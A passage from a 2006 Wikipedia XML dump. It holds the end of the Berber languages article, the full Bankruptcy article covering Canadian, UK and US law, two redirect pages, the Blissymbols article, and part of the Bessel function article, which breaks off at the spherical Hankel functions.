*Prasse, Karl-Gottfried, Ghub&amp;#259;yd &amp;#259;gg-&amp;#258;l&amp;#259;w&amp;#382;&amp;#601;li, and Gh&amp;#259;bd&amp;#601;wan &amp;#601;g-Mux&amp;#259;mm&amp;#259;d. 1998. ''As&amp;#259;gg&amp;#259;lalaf: T&amp;#259;ma&amp;#7827;&amp;#601;q&amp;ndash;T&amp;#259;fr&amp;#259;sist &amp;mdash; Lexique touareg&amp;ndash;fran&amp;ccedil;ais''. 2nd ed. Carl Niebuhr Institute Publications 24, ser. eds. Paul John Frandsen, Daniel T. Potts, and Aage Westenholz. K&amp;oslash;benhavn: Museum Tusculanum Press
*Quitout, Michel. 1997. ''Grammaire berb&amp;egrave;re (rifain, tamazight, chleuh, kabyle)''. Paris and Montr&amp;eacute;al: &amp;Eacute;ditions l&amp;rsquo;Harmattan
*R&amp;ouml;ssler, Otto. 1958. &quot;Die Sprache Numidiens&quot;. In ''Sybaris: Festschrift Hans Krahe zum 60. Geburtstag am 7. Feb. 1958, dargebracht von Freunden, Sch&amp;uuml;lern und Kollegen''. Wiesbaden: Otto Harrassowitz
*Sadiqi, Fatima. 1997. ''Grammaire du berb&amp;egrave;re''. Paris and Montr&amp;eacute;al: &amp;Eacute;ditions l&amp;rsquo;Harmattan. ISBN 2-7384-5919-6

==External links==
*http://www.tamazight.biz Tamazight language
*[http://www.emazighen.com Emazighen]
*[http://www.amsiggel.com Amuddu n-Umsiggel - a philosophical Berber story]
*[http://www.tawiza.nl/content/awid.php?id=465&amp;sid=2&amp;andra=artikel Interview with Karl-G. Prasse (source)]
*[http://www.libyamazigh.org Libyamazigh] Page about Libyan culture with Tamazight language section.
*[http://www.geocities.com/lameens/tifinagh/index.html Writing Berber Languages]
*http://www.tifinagh.freeservers.com/custom.html
*http://www.ancientscripts.com/berber.html
*http://ennedi.free.fr/tifin.htm
*http://membres.lycos.fr/tawiza/TAWIZA56/Prasse.htm
*http://www.koeppe.de/html/e_berber.htm
*[http://arabworld.nitle.org/audiovisual.php?module_id=6  Interview with Rachid Aadnani on the Amazigh issue]
*[http://www.dicodialna.com Algerian Dardja Online Dictionary: contains many Tamazight terms]

[[Category:Maghreb]]
[[Category:Berber languages]]
[[Category:Languages of Algeria]]
[[Category:Languages of Morocco]]

[[ar:لغة أمازيغية]]
[[bg:Берберски езици]]
[[ca:Llengua berber]]
[[de:Berbersprachen]]
[[es:Dialectos bereberes]]
[[eo:Berberaj lingvoj]]
[[fr:Berbère]]
[[it:Lingua berbera]]
[[he:שפות ברבריות]]
[[la:Linguae Libycae]]
[[nl:Berbertalen]]
[[ja:ベルベル語]]
[[pt:Tamazight]]
[[ru:Берберские языки]]
[[sv:Berberspråk]]
[[wa:Amazir]]</text>
    </revision>
  </page>
  <page>
    <title>Bankruptcy</title>
    <id>4695</id>
    <revision>
      <id>41478697</id>
      <timestamp>2006-02-27T17:05:29Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>rv to Monkeyman. Commercial link.</comment>
      <text xml:space="preserve">[[Image:Bankrupt computer store 02.jpg|thumb|Notice of closure stuck on the door of a computer store the day after its parent company, Granville Technology Group Ltd, declared 'bankruptcy' (strictly, administration - see text) in the UK.]]

'''Bankruptcy''' is a legally declared inability or impairment of ability of an individual or organization to pay their [[creditor]]s. A declared state of bankruptcy can be requested by creditors in an effort to recoup a portion of what they are owed; however, in the overwhelming majority of cases, the bankruptcy is initiated by the '''bankrupt''' individual or organization.

==Purpose==

The primary purpose of the laws of bankruptcy are: (1) to give an honest debtor a &quot;fresh start&quot; in life by relieving the [[debtor]] of most debts, and (2) to repay creditors in an orderly manner to the extent that the debtor has the means available for payment.

Bankruptcy allows debtors to resolve debts through the division of non-exempt assets among creditors.  Additionally the declaration of bankruptcy allows debtors to be discharged of most of the financial obligations, after their non-exempt assets are distributed, even if their [[debt]]s have not been paid in full. During the pendency of a bankruptcy proceeding, the &quot;[[debtor]]&quot; is protected from extra-bankruptcy action by creditors by a legally imposed &quot;[[stay]].&quot;

==History==

This word is formed from the ancient [[Latin]] ''bancus'' (a ''bench'' or ''table''), and ''ruptus'' (broken). [[Bank]] originally signified a bench, which the first bankers had in the public places, in markets, fairs, etc. on which they tolled their money, wrote their [[bills of exchange]], etc. Hence, when a banker failed, he broke his bank, to advertise to the public that the person to whom the bank belonged was no longer in a condition to continue his business. As this practice was very frequent in [[Italy]], it is said the term bankrupt is derived from the [[Italian language|Italian]] ''banco rotto'', broken bench (''see e.g. [[Ponte Vecchio]]'').  Others rather choose to deduce the word from the [[French language|French]] ''banque'', ''table'', and ''route'', ''vestigium'', ''trace'', by metaphor from the sign left in the ground, of a table once fastened to it and now gone. On this principle they trace the origin of bankrupts from the [[economy of ancient Rome|ancient Roman]] ''mensarii'' or ''argentarii'', who had their ''tabernae'' or ''mensae'' in certain public places; and who, when they fled, or made off with the money that had been entrusted to them, left only the sign or shadow of their former station behind them.

==Bankruptcy fraud==

Bankruptcy [[fraud]] is a [[White collar crime|business crime]] of filing for bankruptcy with criminal intent, that is with the intention of evading payment for goods even though the buyer has funds that could be used to pay for them, or accepting payment for goods or services but not supplying them. Common types of bankruptcy fraud include [[petition mill]]s, false [[oath]], concealment of assets, and [[fraudulent conveyance]]. [[Multiple filings]] are not ''per se'' fraudulent; as with all things in the law, it depends on the circumstances.  Bankruptcy fraud should be distinguished from ''strategic bankruptcy'', which is not a [[crime|criminal]] act (but may prejudice a judge against the filer if there is evidence that bankruptcy is being used strategically).

== Bankruptcy in Canada ==
{{main|Bankruptcy in Canada}}

Bankruptcy in Canada is set out by [[Canadian law|federal law]], in the [[Bankruptcy and Insolvency Act (Canada)|Bankruptcy and Insolvency Act]] and is  applicable to businesses and individuals. The office of the [[Superintendent of Bankruptcy]], a [[federal government of Canada|federal agency]], is responsible for ensuring that bankruptcies are administered in a fair and orderly manner. [[Trustee in bankruptcy|Trustees in bankruptcy]] administer bankruptcy estates.  

===Duties of trustees===

Some of the duties of the trustee in bankruptcy are to:
	
* Prepare the bankruptcy documents that assign the person into bankruptcy.
* Review the file for any fraudulent preferences or reviewable transactions   
* Chair meetings of creditors 
* Sell any non-exempt assets 
* Perform counselling for the debtors.
* Object to the bankrupt's discharge.

===Creditors' meetings===

Creditors become involved by attending creditors' meetings.  The [[trustee]] calls the first meeting of creditors for the following purposes:
 
* To consider the affairs of the bankrupt
* To affirm the appointment of the trustee or substitute another in place thereof
* To appoint inspectors
* To give such directions to the trustee as the creditors may see fit with reference to the administration of the estate.

===Consumer proposals - an alternative to personal bankruptcy===

In Canada a person can file a consumer proposal as an alternative to bankruptcy.  A consumer proposal is a negotiated settlement between a debtor and their creditors. 

A typical proposal would involve a debtor making monthy payments for a maximum of five years, with the funds distributed to their creditors.  Even though most proposals call for payments of less than the full amount of the debt owing, in most cases the creditors will accept the deal, because if they don’t, the next alternative may be personal bankruptcy, where the creditors will get even less money.

The creditors have 45 days to accept or reject the consumer proposal.  Once the proposal is accepted the debtor makes the payments to the Proposal Administrator each month, and the creditors are prevented from taking any further legal or collection action.  If the proposal is rejected, the debtor may have no alternative but to declare personal bankruptcy.

A consumer proposal can only be made by a debtor with debts of $75,000 or less (not including the mortgage on their principal residence).  If debts are greater than $75,000, the proposal must be filed under Division 1 of Part III of the [[Bankruptcy and Insolvency Act (Canada)|Bankruptcy and Insolvency Act]].

The assistance of a Proposal Administrator is required.  A Proposal Administrator is generally a licensed [[trustee]] in bankruptcy, although the [[Superintendent of Bankruptcy]], may appoint other people to serve as administrators.

According to the [http://strategis.ic.gc.ca/epic/internet/inbsf-osb.nsf/en/home Superintendent of Bankruptcy], in 2005 84,638 consumers filed a summary administration personal bankruptcy, and 16,554 individuals filed a consumer proposal.

===Bankruptcy reform===
ital
Bankruptcy reform legislation has been passed into law with [[Canadian Senate|Canadian Senate]] approval and [[Royal assent]] on [[November 25]], [[2005]]. The new law will not come into force until [[June 30]], [[2006]] at the earliest.

A summary and an analysis of the major changes are given in a link at the bottom of this page.

===Student loans in bankruptcy===

Prior to 1997, student loans were discharged in bankruptcy. In September 1997 the Bankruptcy &amp; Insolvency Act was amended so that student loans were only discharged in a bankruptcy if they were more than two years old.

In 1998 the rules were changed again, increasing the time period from two years to ten years.  Under bankruptcy reform (see above) student loans will be automatically discharged after 7 years (or 5 years with court approval).  A history of changes to the treatment of student loans in bankruptcy can be found at [http://www.student-loan-bankruptcy.ca Student Loan Bankruptcy].

==Bankruptcy in the United Kingdom==
{{main|Bankruptcy in the United Kingdom}}

In the [[United Kingdom]] (UK), bankruptcy (in a strict legal sense) relates only to individuals and [[partnerships]]. Companies and other [[corporations]] enter into differently-named legal insolvency procedures: [[liquidation]], [[administration]] and [[administrative receivership]]. However, the term 'bankruptcy' is often used (incorrectly) when referring to companies in the media and in general conversation.

A [[Trustee in bankruptcy]] must be either an [[Official Receiver]] (a civil servant) or a licensed [[insolvency practitioner]].

Following the introduction of the [[Enterprise Act 2002]], a UK bankruptcy will now normally last no longer than 12 months and may be less, if the Official Receiver files in Court a certificate that his investigations are complete.

It is expected that the UK Government's liberalisation of the UK bankruptcy regime will increase the number of bankruptcy cases; initial Government statistics appear to bear this out. It remains to be seen whether the legislation will need reviewing if this remains the case.

There were 20,461 individual insolvencies in England and Wales in the fourth quarter of 2005 on a seasonally adjusted basis. This was an increase of 15.0% on the previous quarter and an increase of 36.8% on the same period a year ago.

This was made up of 13,501 bankruptcies, an increase of 10.9% on the previous quarter and an increase of 37.6% on the corresponding quarter of the previous year, and 6,960 [[Individual Voluntary Arrangement]]s (IVA’s), an increase of 23.9% on the previous quarter and an increase of 117.1% on the corresponding quarter of the previous year.

==Bankruptcy in the United States==
{{main|Bankruptcy in the United States}}

Bankruptcy in the United States is a matter placed under [[United States federal law|Federal jurisdiction]] by the [[United States Constitution]] (in Article 1, Section 8), which allows [[United States Congress|Congress]] to enact &quot;uniform laws on the subject of Bankruptcy throughout the United States.&quot;  Its implementation, however, is found in [[statute law]].  The relevant statutes are incorporated within the '''Bankruptcy Code''', located at Title 11 of the [[United States Code]], and amplified by state law in the many places where Federal law either fails to speak or defers expressly to state law.

While bankruptcy cases are always filed in [[United States Bankruptcy Court]] (an adjunct to the [[U.S. District Courts]]), bankruptcy cases, particularly with respect to the validity of claims and exemptions, are often highly dependent upon State law. State law therefore plays a major role in many bankruptcy cases, and it is often quite unwise to generalize bankruptcy issues across state lines.

===Bankruptcy chapters===

There are six types of bankruptcy under the [[Bankruptcy Code]], located at Title 11 of the [[United States Code]]:
*[[Chapter 7]] (a liquidation-style case for individuals or businesses),
*Chapter 9 (Municipal bankruptcy)
*[[Chapter 11]] (a more complex rehabilitation-style case used primarily by business debtors, but sometimes by individuals with substantial debts and assets). 
*[[Chapter 12]] (a payment plan or rehabilitation-style case for family farmers and fishermen), and 
*[[Chapter 13]] (a payment plan or rehabilitation-style case for individuals with a regular source of income), 
*Chapter 15 (ancillary and other cross-border cases)
The most common types of personal bankruptcy for individuals are Chapter 7 and Chapter 13.

====Chapter 7====
[[Chapter 7]] personal bankruptcy is also known as straight bankruptcy, or liquidation bankruptcy. Under Chapter 7, debtors give up certain property that they own when they go bankrupt.  The property is sold, and the proceeds are used to pay the creditors. In most cases debtors do not have any assets, and thus in most cases they do not lose anything.
In most Chapter 7 cases most debts are discharged about 90 days after filing.  Debts that are discharged (which means they go away) include credit card debts.  Debts that are not discharged would include child support payments and some taxes and student loans.  Secured debts, such as car loans and house mortgages, are also not discharged.
Under the new rules implemented as a result of the [http://www.uscourts.gov/bankruptcycourts/resources.html 2005 Bankruptcy Reform], it is now more difficult to qualify for Chapter 7 bankruptcy.  Debtors are subject to a means test, and if income exceeds limits set by the government, the debtor must file under Chapter 13.
====Chapter 13====
[[Chapter 13]] bankruptcy is a reorganization plan for individuals.  To qualify for Chapter 13, an individual must have secured and unsecured debts under a certain amount.  Under Chapter 13 the debtor keeps all of their property, but in return they make regular payments to a trustee, who distributes the payments to the creditors.  Most Chapter 13 plans last for three to five years, and then eligible debts are discharged.  The types of debt that can be discharged under Chapter 13 was substantially scaled back by the 2005 reform amendments. 
Creditors may challenge a Chapter 13 plan but a plan can still be confirmed over their objection if the criteria for confirmation is otherwise met.  A requirement for confirmation of a Chapter 13 plan is that unsecured creditors would receive at least as much as they would receive in a [[Chapter 7]] liquidation.

===Sources===

[http://www.abiworld.org American Bankruptcy Institute]

[http://www.bankruptcy-america.com Bankruptcy America]

[http://www.uscourts.gov/bankruptcycourts.html U. S. Bankruptcy Courts]

==Bibliography==

''Born Losers: A History of Failure in America'', by Scott A. Sandage (Harvard University Press, 2005).

==See also==
*[[Debt consolidation]]
*[[Insolvency]]

==External links==
* [http://www.uscourts.gov/bankruptcycourts.html US Courts Bankruptcy Page]
* [http://www.nacba.org National Association of Consumer Bankruptcy Attorneys (US)]
* [http://www.law.cornell.edu/topics/bankruptcy.html LII Law about... Bankruptcy]
* [http://www.insolvency.gov.uk/ Website of the Insolvency Service in the UK]


[[Category:Bankruptcy| ]]
[[Category:Corporate finance]]
[[Category:Personal finance]]
[[Category:Commercial crimes]] 
[[Category:Underground economy]]

[[bg:&amp;#1041;&amp;#1072;&amp;#1085;&amp;#1082;&amp;#1088;&amp;#1091;&amp;#1090;]]
[[da:Konkurs]]
[[de:Bankrott]]
[[es:Quiebra]]
[[fr:faillite]]
[[hu:Csőd]]
[[ja:&amp;#20498;&amp;#29987;]]
[[nl:faillissement]]
[[no:Konkurs]]
[[pl:Bankructwo]]
[[pt:Falência]]
[[ru:&amp;#1041;&amp;#1072;&amp;#1085;&amp;#1082;&amp;#1088;&amp;#1086;&amp;#1090;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1086;]]
[[simple:Bankrupt]]
[[sr:Банкрот]]
[[sv:Konkurs]]
[[fi:Konkurssi]]</text>
    </revision>
  </page>
  <page>
    <title>British Prime Minister</title>
    <id>4696</id>
    <revision>
      <id>15902956</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Prime Minister of the United Kingdom]]
</text>
    </revision>
  </page>
  <page>
    <title>United Kingdom general election</title>
    <id>4697</id>
    <revision>
      <id>15902957</id>
      <timestamp>2002-12-19T10:56:34Z</timestamp>
      <contributor>
        <username>Mintguy</username>
        <id>3295</id>
      </contributor>
      <text xml:space="preserve">#redirect[[United Kingdom general elections]]</text>
    </revision>
  </page>
  <page>
    <title>Blissymbols</title>
    <id>4699</id>
    <revision>
      <id>39783417</id>
      <timestamp>2006-02-15T21:16:51Z</timestamp>
      <contributor>
        <username>Furrykef</username>
        <id>17163</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Blissymbolics''' or '''Blissymbols''' were conceived of as an [[ideographic]] [[writing system]] consisting of several hundred basic symbols, each representing a concept, which can be composed together to generate new symbols that represent new concepts.  Blissymbols differ from all the world's major writing systems in that the characters do not directly correspond to the sounds of any [[spoken language]].  

They were invented by [[Charles K. Bliss]] (1897-1985) after the [[World War II|Second World War]]. Bliss wanted to create an easy-to-learn [[international auxiliary language]] to allow [[communication]] between people who do not speak the same language. He was inspired by [[Chinese written language|Chinese]] [[ideogram]]s, with which Bliss became familiar while in [[Shanghai]] as a refugee from [[Nazi]] anti-semitic persecution. His system ''World Writing'' was explained in his work ''Semantography'' (1949). This work laid out the language structure and vocabulary for his utopian vision of easy communication, but it failed to gain popularity. However, since the 1960s, Blissymbols have become popular as a method of [[Augmentative and Alternative Communication]] (AAC) for non-speaking people with [[cerebral palsy]] or other disorders, for whom it can be impossible to otherwise communicate with spoken language. 

It should be noted, however, that linguists such as [[John DeFrancis]] and [[J. Marshall Unger]] have argued that genuine ideographic writing systems with the same capacities as [[natural language|natural languages]], do not exist, but it is likely that they have not examined Blissymbols, hence the claim that Blissymbols may in fact be the exception to the rule.

Blissymbolics Communication International is an international group of people who act as an authority regarding the standardization of the Blissymbolics language. They have taken responsibility for any extensions of the Blissymbolics language as well as any maintenance needed for the language. BCI has coordinated usage of the language since 1971 for augmentative and alternative communication. BCI received a licence and copyright through legal agreements with Charles K. Bliss in 1975 and 1982.  Limiting the count of Bliss-characters (there are currently about 900) is very useful to help the user community. It also helps when implementing Blissymbolics using technology such as computers.

An example of Blissymbolics is:

[[Image:Bliss_cinema.png|blissymbols]]
''I want to go to the cinema''

== History ==
Blissymbolics was first used in 1971 helping children at the Ontario Crippled Children&amp;#8217;s Centre (OCCC, now the Bloorview-MacMillan Children&amp;#8217;s Centre) in Toronto, Canada. Since it was important that the children see consistent pictures, OCCC had a draftsman named Jim Grice draw the symbols. Both Charles K. Bliss and Margrit Beesley at the OCCC worked with Jim ensuring consistency. In 1975, a new organization named Blissymbolics Communication Foundation directed by Shirley McNaughton led this effort. Over the years, this organization changed their name to Blissymbolics Communication Institute, Easter Seal Communication Institute, and ultimately being named Blissymbolics Communication International.

==External links==
* [http://www.blissymbolics.org/ Blissymbolics Communication International]
* [http://www.blissymbols.co.uk/ Blissymbol Communication UK]
* [http://www.blissymbolics.us/resources/ Blissymbolics Resources]
* [http://www.crockford.com/blissym/lesson1.pdf An Introduction to Blissymbols]

[[Category:Constructed languages]]
[[Category:Artificial scripts]]

[[de:Bliss-Symbole]]
[[eo:Blissymbolics]]
[[fr:Bliss]]
[[io:Bliss]]
[[sl:Bliss]]</text>
    </revision>
  </page>
  <page>
    <title>Bessel function</title>
    <id>4700</id>
    <revision>
      <id>37930143</id>
      <timestamp>2006-02-03T01:07:53Z</timestamp>
      <contributor>
        <username>Stevenj</username>
        <id>7918</id>
      </contributor>
      <comment>/* Properties */ slight rearrangement</comment>
      <text xml:space="preserve">In [[mathematics]], '''Bessel functions''', first defined by the [[Switzerland|Swiss]] [[mathematician]] [[Daniel Bernoulli]] and named after [[Friedrich Bessel]], are canonical solutions ''y''(''x'') of Bessel's [[differential equation]]:

:&lt;math&gt;x^2 \frac{d^2 y}{dx^2} + x \frac{dy}{dx} + (x^2 - \alpha^2)y = 0&lt;/math&gt;

for an arbitrary real number &amp;alpha; (the ''order'').  The most common and important special case is where &amp;alpha; is an [[integer]], ''n''.

Although &amp;alpha; and &amp;minus;&amp;alpha; produce the same differential equation, it is conventional to define different Bessel functions for these two orders (e.g., so that the Bessel functions are mostly smooth functions of &amp;alpha;).

==Applications==

Bessel's equation arises when finding separable solutions to [[Laplace's equation]] and the [[Helmholtz equation]] in [[cylindrical coordinates|cylindrical]] or [[spherical coordinates|spherical]] coordinates, and Bessel functions are therefore especially important for many problems of [[wave propagation]], static potentials, and so on.  (For cylindrical problems, one obtains Bessel functions of integer order &amp;alpha; = ''n''; for spherical problems, one obtains half integer orders &amp;alpha; = ''n''+&amp;frac12;.)  For example:

* [[electromagnetic waves]] in a cylindrical [[waveguide]]
* [[Law of heat conduction|heat conduction]] in a cylindrical object.
* modes of vibration of a thin circular (or annular) [[membrane]].

Bessel functions also have useful properties for other problems, such as signal processing (e.g., see [[FM synthesis]] or [[Kaiser window]]).

==Definitions==

Since this is a second-order differential equation, there must be two [[linearly independent]] solutions.  Depending upon the circumstances, however, various formulations of these solutions are convenient, and the different variations are described below.

=== Bessel functions of the first kind===

Bessel functions of the first kind, denoted with ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x''), are solutions of Bessel's differential equation which are finite at ''x'' = 0 for &amp;alpha; an integer or &amp;alpha; non-negative. The specific choice and normalization of ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; are defined by its [[Bessel function#Properties|properties]] below; another possibility is to define it by its [[Taylor series]] expansion around ''x'' = 0 (or a more general [[power series]] for non-integer &amp;alpha;):

:&lt;math&gt; J_\alpha(x) = \sum_{m=0}^\infty \frac{(-1)^m}{m! \Gamma(m+\alpha+1)} {\left({\frac{x}{2}}\right)}^{2m+\alpha} &lt;/math&gt;

Here, &lt;math&gt;\Gamma(z)&lt;/math&gt; is the [[gamma function]], a generalization of the [[factorial]] to non-integer values. The graphs of Bessel functions look roughly like oscillating sine or cosine functions that decay proportionally to 1/&amp;radic;''x'' (see also their asymptotic forms, below), although their roots are not generally periodic except asymptotically for large ''x''.

Here is the plot of &lt;math&gt;J_\alpha (x)&lt;/math&gt; for &lt;math&gt;\alpha = 0, 1, 2&lt;/math&gt;:

[[image:BesselJ_plot.svg|center|Plot of Bessel J]]

If &amp;alpha; is not an integer, the functions &lt;math&gt;J_\alpha (x)&lt;/math&gt; and &lt;math&gt;J_{-\alpha} (x)&lt;/math&gt; are linearly independent and are therefore the two solutions of the differential equation. On the other hand, if the order &lt;math&gt;\alpha&lt;/math&gt; is an integer, then the following relationship is valid:

:&lt;math&gt;J_{-\alpha}(x) = (-1)^{\alpha} J_{\alpha}(x)\,&lt;/math&gt;

This means that they are no longer linearly independent. The second linearly independent solution is then found to be the Bessel function of the second kind, as discussed below.

==== Bessel's integrals====

Another definition of the Bessel function is possible using an integral equation:

:&lt;math&gt;J_\alpha (x) = \frac{1}{2 \pi} \int_{0}^{2 \pi} \cos (\alpha \tau - x \sin \tau) d\tau.&lt;/math&gt;

This is the approach that Bessel used, and from this definition he derived several properties of the function. Another integral representation is:

:&lt;math&gt;J_\alpha (x) = \frac{1}{2 \pi} \int_{-\pi}^{\pi} e^{i(\alpha \tau - x \sin \tau)} d\tau&lt;/math&gt;

====Relation to hypergeometric series====
The Bessel functions can be expressed in terms of the [[hypergeometric series]] as 
:&lt;math&gt;J_\alpha(z)=\frac{(z/2)^\alpha}{\Gamma(\alpha+1)}  \;_0F_1 (\alpha+1; -z^2/4).&lt;/math&gt;

=== Bessel functions of the second kind ===

These are perhaps the most commonly used forms of the Bessel functions.

The Bessel functions of the second kind, denoted by ''Y''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x''), are solutions of the Bessel differential equation. They are singular ([[infinite]]) at ''x'' = 0.

''Y''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'') is sometimes also called the '''Neumann function''', and is occasionally denoted instead by ''N''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'').  It is related to ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'') by:

:&lt;math&gt;Y_\alpha(x) = \frac{J_\alpha(x) \cos(\alpha\pi) - J_{-\alpha}(x)}{\sin(\alpha\pi)},&lt;/math&gt;

where the case of integer &amp;alpha; is handled by taking the limit.

When &amp;alpha; is not an integer, the definition of ''Y''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; is redundant (as is clear from its definition above). On the other hand, when &amp;alpha; is an integer, ''Y''&lt;sub&gt;''&amp;alpha;''&lt;/sub&gt; is the second linearly independent solution of Bessel's equation; moreover, as was similarly the case for the functions of the first kind, the following relationship is valid:

:&lt;math&gt;Y_{-n}(x) = (-1)^n Y_n(x)\,&lt;/math&gt;

Both ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'') and ''Y''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'') are [[holomorphic function]]s of ''x'' on the [[complex plane]] cut along the negative real axis.  When &amp;alpha; is an integer, there is no [[branch point]], and the Bessel functions are [[entire function]]s of ''x''.  If ''x'' is held fixed, then the Bessel functions are entire functions of &amp;alpha;.

Here is the plot of &lt;math&gt;Y_\alpha (x)&lt;/math&gt; for &lt;math&gt;\alpha = 0, 1, 2&lt;/math&gt;:

[[image:BesselY_plot.svg|center|Plot of Bessel Y]]

=== Hankel functions ===

Another important formulation of the two linearly independent solutions to Bessel's equation are the '''Hankel functions''' ''H''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;&lt;sup&gt;(1)&lt;/sup&gt;(''x'') and ''H''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;&lt;sup&gt;(2)&lt;/sup&gt;(''x''), defined by:

:&lt;math&gt;H_\alpha^{(1)}(x) = J_\alpha(x) + i Y_\alpha(x)&lt;/math&gt;

:&lt;math&gt;H_\alpha^{(2)}(x) = J_\alpha(x) - i Y_\alpha(x)&lt;/math&gt;

where ''i'' is the [[imaginary unit]]. These linear combinations are also known as Bessel functions of the third kind; they are two linearly independent solutions of Bessel's differential equation. The Hankel functions express inward- and outward-propagating cylindrical wave solutions of the cylindrical wave equation. They are named for [[Hermann Hankel]].

Using the previous relationships they can be expressed as:

:&lt;math&gt;H_{\alpha}^{(1)} (x) = \frac{J_{-\alpha} (x) - e^{-\alpha \pi i} J_\alpha (x)}{i \sin (\alpha \pi)}&lt;/math&gt;

:&lt;math&gt;H_{\alpha}^{(2)} (x) = \frac{J_{-\alpha} (x) - e^{\alpha \pi i} J_\alpha (x)}{- i \sin (\alpha \pi)}&lt;/math&gt;

if &amp;alpha; is an integer, the limit has to be calculated. The following relationships are valid, whether &amp;alpha; is an integer or not:

:&lt;math&gt;H_{-\alpha}^{(1)} (x)= e^{\alpha \pi i} H_{\alpha}^{(1)} (x) &lt;/math&gt;

:&lt;math&gt;H_{-\alpha}^{(2)} (x)= e^{-\alpha \pi i} H_{\alpha}^{(2)} (x) &lt;/math&gt;

=== Modified Bessel functions ===

The Bessel functions are valid even for [[complex number|complex]] arguments ''x'', and an important special case is that of a purely imaginary argument.  In this case, the solutions to the Bessel equation are called the '''modified Bessel functions''' (or occasionally the '''hyperbolic Bessel functions''') of the first and second kind, and are defined by:

:&lt;math&gt;I_\alpha(x) = i^{-\alpha} J_\alpha(ix) \!&lt;/math&gt;

:&lt;math&gt;K_\alpha(x) = \frac{\pi}{2} \frac{I_{-\alpha} (x) - I_\alpha (x)}{\sin (\alpha \pi)} = \frac{\pi}{2} i^{\alpha+1} H_\alpha^{(1)}(ix) \!&lt;/math&gt;

These are chosen to be real-valued for real arguments ''x''.  They are the two linearly independent solutions to the modified Bessel's equation:

:&lt;math&gt;x^2 \frac{d^2 y}{dx^2} + x \frac{dy}{dx} - (x^2 + \alpha^2)y = 0.&lt;/math&gt;

Unlike the ordinary Bessel functions, which are oscillating as functions of a real argument, ''I''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; and ''K''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; are [[exponential growth|exponentially growing]] and [[exponential decay|decaying]] functions, respectively.  Like the ordinary Bessel function ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;, the function ''I''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; goes to zero at ''x''=0 for &amp;alpha; &gt; 0 and is finite at ''x''=0 for &amp;alpha;=0.  Analogously, ''K''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; diverges at ''x''=0.

{|
|-
| [[Image:BesselI_plot.svg|none|thumb|350px|Modified Bessel functions of 1st kind]]
| [[Image:BesselK_plot.svg|none|thumb|350px|Modified Bessel functions of 2nd kind]] 
|}

&lt;!-- &lt;center&gt;[[image:ModifiedBessel.png|Plot of some modified Bessel functions]]&lt;br /&gt;Plot of six modified Bessel functions. In solid line ''K''&lt;sub&gt;0&lt;/sub&gt;, ''K''&lt;sub&gt;1&lt;/sub&gt;, and ''K''&lt;sub&gt;2&lt;/sub&gt;. In dashed line : ''I''&lt;sub&gt;0&lt;/sub&gt;, ''I''&lt;sub&gt;1&lt;/sub&gt;, and ''I''&lt;sub&gt;2&lt;/sub&gt;.&lt;/center&gt; --&gt;

The '''modified Bessel function of the second kind''' has also been called by the now-rare names:
* Basset function
* modified Bessel function of the third kind
* MacDonald function

=== Spherical Bessel functions ===
When solving for separable solutions of Laplace's equation in spherical coordinates, the radial equation has the form:

:&lt;math&gt;x^2 \frac{d^2 y}{dx^2} + 2x \frac{dy}{dx} + [x^2 - n(n+1)]y = 0.&lt;/math&gt;

The two linearly independent solutions to this equation are called the '''spherical Bessel functions''' ''j''&lt;sub&gt;''n''&lt;/sub&gt; and ''y''&lt;sub&gt;''n''&lt;/sub&gt; (also denoted ''n''&lt;sub&gt;''n''&lt;/sub&gt;), and are related to the ordinary Bessel functions  ''J''&lt;sub&gt;''n''&lt;/sub&gt; and ''Y''&lt;sub&gt;''n''&lt;/sub&gt; by:

:&lt;math&gt;j_n(x) = \sqrt{\frac{\pi}{2x}} J_{n+1/2}(x),&lt;/math&gt;

:&lt;math&gt;y_n(x) = \sqrt{\frac{\pi}{2x}} Y_{n+1/2}(x) = (-1)^{n+1} \sqrt{\frac{\pi}{2x}} J_{-n-1/2}(x).&lt;/math&gt;

The spherical Bessel functions can also be written as:
:&lt;math&gt;j_n(x) = (-x)^n \left(\frac{1}{x}\frac{d}{dx}\right)^n\,\frac{\sin x}{x} ,&lt;/math&gt;
:&lt;math&gt;y_n(x) = -(-x)^n \left(\frac{1}{x}\frac{d}{dx}\right)^n\,\frac{\cos x}{x}.&lt;/math&gt;

The first spherical Bessel function &lt;math&gt;j_0(x)&lt;/math&gt; is also known as the [[sinc function]]. The first few spherical Bessel functions are:
:&lt;math&gt;j_0(x)=\frac{\sin x} {x}&lt;/math&gt;
:&lt;math&gt;j_1(x)=\frac{\sin x} {x^2}- \frac{\cos x} {x}&lt;/math&gt;
:&lt;math&gt;j_2(x)=\left(\frac{3} {x^2} - 1 \right)\frac{\sin x}{x} - \frac{3\cos x} {x^2}&lt;/math&gt;
and
:&lt;math&gt;y_0(x)=-j_{-1}(x)=-\,\frac{\cos x} {x}&lt;/math&gt;
:&lt;math&gt;y_1(x)=j_{-2}(x)=-\,\frac{\cos x} {x^2}- \frac{\sin x} {x}&lt;/math&gt;
:&lt;math&gt;y_2(x)=-j_{-3}(x)=\left(-\,\frac{3}{x^2}+1 \right)\frac{\cos x}{x}- \frac{3 \sin x} {x^2}.&lt;/math&gt;

There are also spherical analogues of the Hankel functions:

:&lt;math&gt;h_n^{(1)}(x) = j_n(x) + i y_n(x)&lt;/math&gt;

